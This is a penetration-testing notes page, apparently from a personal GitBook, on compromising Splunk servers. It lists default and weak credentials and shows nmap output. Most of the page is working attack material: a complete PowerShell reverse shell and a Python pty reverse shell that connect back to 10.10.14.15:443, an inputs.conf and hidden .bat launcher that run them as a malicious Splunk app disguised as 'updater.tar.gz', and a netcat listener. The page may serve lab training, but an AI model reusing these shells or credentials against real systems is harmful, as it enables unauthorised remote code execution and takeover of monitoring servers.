> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/splunk.md).

# Splunk

## Discovery/Footprinting

The Splunk web server runs by default on port 8000. On older versions of Splunk, the default credentials are `admin:changeme`

<figure><img src="/files/0BzdmeAL2PFzjC6v6lkP" alt=""><figcaption></figcaption></figure>

If the default credentials do not work, it is worth checking for common weak passwords such as `admin`, `Welcome`, `Welcome1`, `Password123`, etc.

```shell-session
$ sudo nmap -sV 10.129.201.50

Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-22 08:43 EDT
Nmap scan report for 10.129.201.50
Host is up (0.11s latency).
Not shown: 991 closed ports
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5357/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8000/tcp open  ssl/http      Splunkd httpd
8080/tcp open  http          Indy httpd 17.3.33.2830 (Paessler PRTG bandwidth monitor)
8089/tcp open  ssl/http      Splunkd httpd
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.22 seconds
```

## Enumeration

The Splunk Enterprise trial converts to a free version after 60 days, which doesn’t require authentication.

## Abusing Built-In Functionality

{% embed url="<https://www.n00py.io/2018/10/popping-shells-on-splunk/>" %}

{% embed url="<https://github.com/TBGSecurity/splunk_shells>" %}

See OffShore WU

### Reverse shell

{% embed url="<https://github.com/0xjpuff/reverse_shell_splunk>" %}

<figure><img src="/files/ph71ZbjPf7OzSeqed72h" alt=""><figcaption></figcaption></figure>

#### Windows

run.ps1

```powershell-session
#A simple and small reverse shell. Options and help removed to save space. 
#Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well.
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.15',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

```shell-session
$ cat inputs.conf 

[script://./bin/rev.py]
disabled = 0  
interval = 10  
sourcetype = shell 

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```

.bat file

```shell-session
@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
Exit
```

```shell-session
tar -cvzf updater.tar.gz splunk_shell/
```

<figure><img src="/files/db4a8jQgN5a2xs26Odnn" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/oqX9fffwG2XS8Iow9FH3" alt=""><figcaption></figcaption></figure>

```shell-session
sudo nc -lnvp 443
```

<figure><img src="/files/dK0EKj7RbfaJvR8Pn8z6" alt=""><figcaption></figcaption></figure>

#### Linux

&#x20;Edit the `rev.py` Python script before creating the tarball and uploading the custom malicious app

```python
import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```

## CVE-2024-36991 - Read /etc/passwd

{% embed url="<https://github.com/bigb0x/CVE-2024-36991>" %}

## Exploit

{% content-ref url="/pages/bEj39mnIIBhlm05e490N" %}
[Splunk](/0xss0rz/pentest/public-exploit/splunk.md)
{% endcontent-ref %}

## Resources

{% embed url="<https://www.hackingarticles.in/penetration-testing-on-splunk/>" %}

## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)

[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)

<figure><img src="/files/a876wNYE568SJIfTZVxL" alt=""><figcaption></figcaption></figure>

## Interesting Books

{% content-ref url="/pages/VVT5FQq9z62bWoNAWCUS" %}
[Interesting Books](/0xss0rz/interesting-books.md)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.